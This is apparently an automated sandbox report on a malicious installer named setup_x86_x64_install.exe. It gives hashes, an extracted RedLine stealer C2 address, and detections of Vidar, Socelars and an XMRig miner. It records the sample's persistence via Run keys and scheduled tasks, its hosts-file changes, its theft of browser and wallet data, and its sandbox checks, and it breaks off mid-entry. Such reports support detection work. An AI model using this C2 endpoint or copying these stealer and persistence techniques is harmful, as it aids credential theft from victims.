Overview
overview
10Static
static
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows11_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10Analysis
-
max time kernel
1801s -
max time network
1780s -
platform
windows11_x64 -
resource
win11 -
submitted
11-09-2021 20:41
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-jp
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7-fr
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win7-de
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
setup_x86_x64_install.exe
Resource
win10-jp
Behavioral task
behavioral8
Sample
setup_x86_x64_install.exe
Resource
win10-fr
Behavioral task
behavioral9
Sample
setup_x86_x64_install.exe
Resource
win10-en
Behavioral task
behavioral10
Sample
setup_x86_x64_install.exe
Resource
win10-de
General
-
Target
setup_x86_x64_install.exe
-
Size
3.4MB
-
MD5
f59a5fd82eaf0088e7853c09922ce477
-
SHA1
969d1debc32996a4d53c4a36d2241511cb8b77ec
-
SHA256
291505b584fdf540a1590ce7181d85cee7967f99cbf05aeb7b7031b6a9b4f2cd
-
SHA512
344192b08874df2cf922f782400435f109eb5bab7c3c582f4eb3fe328cadcb2d2c3ddd02ba816663168f9c997766f089731e657afe2cefb7bda773e6e6dca71c
Malware Config
Extracted
redline
119c4tv3
185.215.113.104:18754
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerundll32.exerundll32.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5644 4936 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5644 4936 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 804 4936 rundll32.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
Processes:
resource yara_rule behavioral5/memory/5664-319-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral5/memory/5664-358-0x0000000004DA0000-0x00000000053B8000-memory.dmp family_redline -
Socelars Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\Sat196ac06a9e6.exe family_socelars C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\Sat196ac06a9e6.exe family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 18 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.execmd.exeWerFault.exeWerFault.exeWerFault.exeBafumiluto.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeexplorer.exeWerFault.exedescription pid process target process PID 5072 created 1412 5072 WerFault.exe Sat19e4750dd01.exe PID 5288 created 3224 5288 WerFault.exe Sat19c6762a08beae.exe PID 5320 created 1272 5320 WerFault.exe Sat19e6a852f849bb2.exe PID 5852 created 5688 5852 msedge.exe PID 6016 created 4376 6016 WerFault.exe 6069887.exe PID 4784 created 4112 4784 WerFault.exe Sat196ac06a9e6.exe PID 6128 created 4220 6128 cmd.exe 2.exe PID 3332 created 5212 3332 WerFault.exe anyname.exe PID 5652 created 6016 5652 WerFault.exe WerFault.exe PID 572 created 5428 572 WerFault.exe udptest.exe PID 4372 created 476 4372 Bafumiluto.exe rundll32.exe PID 504 created 3388 504 WerFault.exe 4390821.exe PID 1792 created 5360 1792 WerFault.exe 3313646.exe PID 5452 created 5136 5452 WerFault.exe 6546358.exe PID 6016 created 5728 6016 WerFault.exe 8148614.exe PID 2076 created 5348 2076 WerFault.exe GcleanerEU.exe PID 2400 created 4520 2400 explorer.exe gcleaner.exe PID 5660 created 3500 5660 WerFault.exe rundll32.exe -
Processes:
resource yara_rule behavioral5/memory/5280-433-0x0000000005610000-0x0000000005C28000-memory.dmp redline -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Vidar Stealer 2 IoCs
Processes:
resource yara_rule behavioral5/memory/1272-302-0x0000000003500000-0x00000000035D1000-memory.dmp family_vidar behavioral5/memory/6016-389-0x0000000004B30000-0x00000000050D6000-memory.dmp family_vidar -
XMRig Miner Payload 1 IoCs
Processes:
resource yara_rule behavioral5/memory/2400-584-0x0000000140000000-0x0000000140763000-memory.dmp xmrig -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\libcurl.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\libstdc++-6.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\libstdc++-6.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\libcurl.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\libcurl.dll aspack_v212_v242 -
Blocklisted process makes network request 43 IoCs
Processes:
MsiExec.exeflow pid process 108 3976 MsiExec.exe 109 3976 MsiExec.exe 110 3976 MsiExec.exe 111 3976 MsiExec.exe 112 3976 MsiExec.exe 113 3976 MsiExec.exe 114 3976 MsiExec.exe 117 3976 MsiExec.exe 124 3976 MsiExec.exe 125 3976 MsiExec.exe 126 3976 MsiExec.exe 127 3976 MsiExec.exe 130 3976 MsiExec.exe 131 3976 MsiExec.exe 132 3976 MsiExec.exe 133 3976 MsiExec.exe 134 3976 MsiExec.exe 135 3976 MsiExec.exe 136 3976 MsiExec.exe 137 3976 MsiExec.exe 138 3976 MsiExec.exe 139 3976 MsiExec.exe 140 3976 MsiExec.exe 141 3976 MsiExec.exe 142 3976 MsiExec.exe 145 3976 MsiExec.exe 147 3976 MsiExec.exe 149 3976 MsiExec.exe 150 3976 MsiExec.exe 151 3976 MsiExec.exe 152 3976 MsiExec.exe 154 3976 MsiExec.exe 155 3976 MsiExec.exe 156 3976 MsiExec.exe 157 3976 MsiExec.exe 158 3976 MsiExec.exe 161 3976 MsiExec.exe 163 3976 MsiExec.exe 164 3976 MsiExec.exe 165 3976 MsiExec.exe 166 3976 MsiExec.exe 167 3976 MsiExec.exe 169 3976 MsiExec.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
Processes:
46807GHF____.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts 46807GHF____.exe -
Executes dropped EXE 52 IoCs
Processes:
setup_installer.exesetup_install.exeSat196ac06a9e6.exeSat191649b47c9e2.exeSat19e4750dd01.exeSat19c6762a08beae.exeSat19f84b58b3d7.exeSat1946eb84e6.exeSat19e6a852f849bb2.exeSat19ba05e89ea6d406.exeSat199ba8a4637dcb034.exeSat19ba05e89ea6d406.tmp46807GHF____.exeLzmwAqmV.exe4390821.exerundll32.exeChrome 5.exePublicDwlBrowser1100.exe6069887.exe2.exeanyname.exe149669.exe3313646.exeudptest.exesetup_2.execmd.exe6069887.exesetup_2.tmpjhuuee.exesetup_2.exeBearVpn 3.exesetup_2.tmpWinHoster.exe6546358.exe4877252.exe3002.exeWerFault.exeC3KHKEn~m73GVLA.exE1510349.exe7798956.exe8148614.exeultramediaburner.exeJashedulaju.exeultramediaburner.tmpBafumiluto.exeUltraMediaBurner.exeservices64.exeGcleanerEU.exeinstaller.exegcleaner.exesihost64.exepid process 5000 setup_installer.exe 4604 setup_install.exe 4112 Sat196ac06a9e6.exe 1144 Sat191649b47c9e2.exe 1412 Sat19e4750dd01.exe 3224 Sat19c6762a08beae.exe 1708 Sat19f84b58b3d7.exe 1712 Sat1946eb84e6.exe 1272 Sat19e6a852f849bb2.exe 2348 Sat19ba05e89ea6d406.exe 4592 Sat199ba8a4637dcb034.exe 4712 Sat19ba05e89ea6d406.tmp 5000 46807GHF____.exe 4176 LzmwAqmV.exe 3388 4390821.exe 476 rundll32.exe 3128 Chrome 5.exe 4224 PublicDwlBrowser1100.exe 4376 6069887.exe 4220 2.exe 5212 anyname.exe 5272 149669.exe 5360 3313646.exe 5428 udptest.exe 5560 setup_2.exe 5716 cmd.exe 5664 6069887.exe 5748 setup_2.tmp 5832 jhuuee.exe 5896 setup_2.exe 6116 BearVpn 3.exe 6108 setup_2.tmp 5192 WinHoster.exe 5136 6546358.exe 4548 4877252.exe 5944 3002.exe 6016 WerFault.exe 5144 C3KHKEn~m73GVLA.exE 1188 1510349.exe 5280 7798956.exe 5728 8148614.exe 5140 ultramediaburner.exe 2996 Jashedulaju.exe 5132 ultramediaburner.tmp 4372 Bafumiluto.exe 4804 UltraMediaBurner.exe 3964 services64.exe 5348 GcleanerEU.exe 3620 installer.exe 5212 anyname.exe 4520 gcleaner.exe 3720 sihost64.exe -
Loads dropped DLL 36 IoCs
Processes:
setup_install.exeSat19ba05e89ea6d406.tmpmsedge.exesetup_2.tmpsetup_2.tmprundll32.exerundll32.exeinstaller.exeMsiExec.exerundll32.exeMsiExec.exeMsiExec.exepid process 4604 setup_install.exe 4604 setup_install.exe 4604 setup_install.exe 4604 setup_install.exe 4604 setup_install.exe 4604 setup_install.exe 4604 setup_install.exe 4712 Sat19ba05e89ea6d406.tmp 5688 msedge.exe 5748 setup_2.tmp 6108 setup_2.tmp 476 rundll32.exe 5308 rundll32.exe 5308 rundll32.exe 3620 installer.exe 3620 installer.exe 3620 installer.exe 2536 MsiExec.exe 2536 MsiExec.exe 3500 rundll32.exe 3976 MsiExec.exe 3976 MsiExec.exe 3976 MsiExec.exe 3976 MsiExec.exe 3976 MsiExec.exe 3976 MsiExec.exe 3976 MsiExec.exe 3976 MsiExec.exe 3976 MsiExec.exe 3976 MsiExec.exe 3620 installer.exe 3976 MsiExec.exe 3976 MsiExec.exe 1604 MsiExec.exe 1604 MsiExec.exe 3976 MsiExec.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 3 IoCs
Processes:
rundll32.exe46807GHF____.exemsedge.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" rundll32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Common Files\\Rashapulaeno.exe\"" 46807GHF____.exe Key created \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exemsiexec.exeinstaller.exedescription ioc process File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\E: installer.exe File opened (read-only) \??\X: installer.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: installer.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: installer.exe File opened (read-only) \??\Q: installer.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: installer.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\I: installer.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\W: installer.exe File opened (read-only) \??\Z: installer.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\G: installer.exe File opened (read-only) \??\N: installer.exe File opened (read-only) \??\U: installer.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\A: installer.exe File opened (read-only) \??\K: installer.exe File opened (read-only) \??\R: installer.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\Y: installer.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\M: installer.exe File opened (read-only) \??\O: installer.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\F: installer.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 17 ip-api.com -
Suspicious use of SetThreadContext 3 IoCs
Processes:
6069887.exeWerFault.exeservices64.exedescription pid process target process PID 4376 set thread context of 5664 4376 6069887.exe 6069887.exe PID 6016 set thread context of 5280 6016 WerFault.exe 7798956.exe PID 3964 set thread context of 2400 3964 services64.exe explorer.exe -
Drops file in Program Files directory 12 IoCs
Processes:
ultramediaburner.tmp46807GHF____.exesetup_2.tmpdescription ioc process File created C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File created C:\Program Files (x86)\Common Files\Rashapulaeno.exe 46807GHF____.exe File created C:\Program Files (x86)\Common Files\Rashapulaeno.exe.config 46807GHF____.exe File created C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp File opened for modification C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp File created C:\Program Files\Windows Photo Viewer\QKHSYTRWTS\ultramediaburner.exe.config 46807GHF____.exe File created C:\Program Files (x86)\UltraMediaBurner\is-37GGM.tmp ultramediaburner.tmp File created C:\Program Files (x86)\UltraMediaBurner\is-69ATU.tmp ultramediaburner.tmp File opened for modification C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-M8OTJ.tmp setup_2.tmp File created C:\Program Files\Windows Photo Viewer\QKHSYTRWTS\ultramediaburner.exe 46807GHF____.exe File opened for modification C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe ultramediaburner.tmp -
Drops file in Windows directory 27 IoCs
Processes:
msiexec.exeMsiExec.exedescription ioc process File opened for modification C:\Windows\Installer\MSIBB71.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC3A3.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB458.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB62F.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSIB22F.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF2DB3CBBE0E94F046.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIB582.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB6CD.tmp msiexec.exe File created C:\Windows\Installer\f74afdd.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIB389.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC279.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF7AABC63660E3ED3A.TMP msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIC111.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB5E0.tmp msiexec.exe File opened for modification C:\Windows\Installer\f74afdd.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIB3D9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB428.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIBBB1.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF8D2EF48A67A1EE1A.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF121E52EFC1528B44.TMP msiexec.exe File created C:\Windows\Tasks\AdvancedWindowsManager #1.job MsiExec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIB3B8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB368.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62} msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 15 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 4844 1412 WerFault.exe Sat19e4750dd01.exe 5456 3224 WerFault.exe Sat19c6762a08beae.exe 5472 1272 WerFault.exe Sat19e6a852f849bb2.exe 6024 5688 WerFault.exe 2428 5212 WerFault.exe setup.exe 3228 6016 WerFault.exe 7798956.exe 5492 5428 WerFault.exe udptest.exe 2904 476 WerFault.exe rundll32.exe 5356 3388 WerFault.exe 4390821.exe 3968 5136 WerFault.exe 6546358.exe 4768 5360 WerFault.exe 3313646.exe 5948 5728 WerFault.exe 8148614.exe 1356 5348 WerFault.exe GcleanerEU.exe 2548 4520 WerFault.exe gcleaner.exe 5740 3500 WerFault.exe rundll32.exe -
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WerFault.exeWerFault.exeWerFault.exeidentity_helper.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz identity_helper.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 identity_helper.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision identity_helper.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString identity_helper.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 5992 schtasks.exe 4132 schtasks.exe -
Enumerates system info in registry 2 TTPs 33 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeidentity_helper.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exemsedge.exeWerFault.exeWerFault.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS identity_helper.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried 